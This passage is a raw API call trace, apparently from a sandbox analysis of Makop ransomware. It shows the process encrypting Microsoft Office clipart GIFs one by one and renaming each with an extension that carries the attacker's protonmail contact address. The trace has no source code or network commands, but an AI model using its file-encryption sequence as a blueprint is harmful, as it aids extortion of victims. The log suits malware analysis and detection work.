hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.062] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.062] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.062] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.062] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x131e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x131e, lpOverlapped=0x0) returned 1 [0106.064] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1320, dwBufLen=0x1320 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1320) returned 1 [0106.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.064] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1320, lpOverlapped=0x0) returned 1 [0106.064] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.064] SetEndOfFile (hFile=0xf0) returned 1 [0106.071] GetProcessHeap () returned 0x48a0000 [0106.071] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.071] GetProcessHeap () returned 0x48a0000 [0106.071] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.071] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.073] CloseHandle (hObject=0xf0) returned 1 [0106.073] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0106.073] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0106.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.074] GetProcessHeap () returned 0x48a0000 [0106.074] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.074] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.074] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0106.078] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.079] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.079] GetProcessHeap () returned 0x48a0000 [0106.079] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.079] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.079] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.079] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.079] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.080] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.080] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.080] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.080] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.080] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14ff, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14ff, lpOverlapped=0x0) returned 1 [0106.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1500, dwBufLen=0x1500 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1500) returned 1 [0106.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1500, lpOverlapped=0x0) returned 1 [0106.082] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.082] SetEndOfFile (hFile=0xf0) returned 1 [0106.090] GetProcessHeap () returned 0x48a0000 [0106.090] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.090] GetProcessHeap () returned 0x48a0000 [0106.090] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.090] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.091] CloseHandle (hObject=0xf0) returned 1 [0106.091] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0106.091] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0106.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.092] GetProcessHeap () returned 0x48a0000 [0106.092] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.092] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.093] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.093] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.093] GetProcessHeap () returned 0x48a0000 [0106.093] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.093] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.093] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.093] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.098] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.098] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.098] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.098] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2420, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2420, lpOverlapped=0x0) returned 1 [0106.101] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2420, dwBufLen=0x2420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2420) returned 1 [0106.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2420, lpOverlapped=0x0) returned 1 [0106.102] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x24f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.102] SetEndOfFile (hFile=0xf0) returned 1 [0106.109] GetProcessHeap () returned 0x48a0000 [0106.109] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.110] GetProcessHeap () returned 0x48a0000 [0106.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.110] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.111] CloseHandle (hObject=0xf0) returned 1 [0106.111] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0106.111] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0106.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.112] GetProcessHeap () returned 0x48a0000 [0106.112] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.112] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.117] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.117] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.117] GetProcessHeap () returned 0x48a0000 [0106.117] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.117] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.117] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.118] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.118] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.118] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.118] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.118] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1398, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1398, lpOverlapped=0x0) returned 1 [0106.120] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13a0, dwBufLen=0x13a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13a0) returned 1 [0106.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.120] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13a0, lpOverlapped=0x0) returned 1 [0106.120] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.121] SetEndOfFile (hFile=0xf0) returned 1 [0106.128] GetProcessHeap () returned 0x48a0000 [0106.128] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.128] GetProcessHeap () returned 0x48a0000 [0106.128] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.128] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.129] CloseHandle (hObject=0xf0) returned 1 [0106.129] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0106.129] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0106.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.131] GetProcessHeap () returned 0x48a0000 [0106.132] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.132] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0106.136] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.136] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.136] GetProcessHeap () returned 0x48a0000 [0106.136] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.136] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, 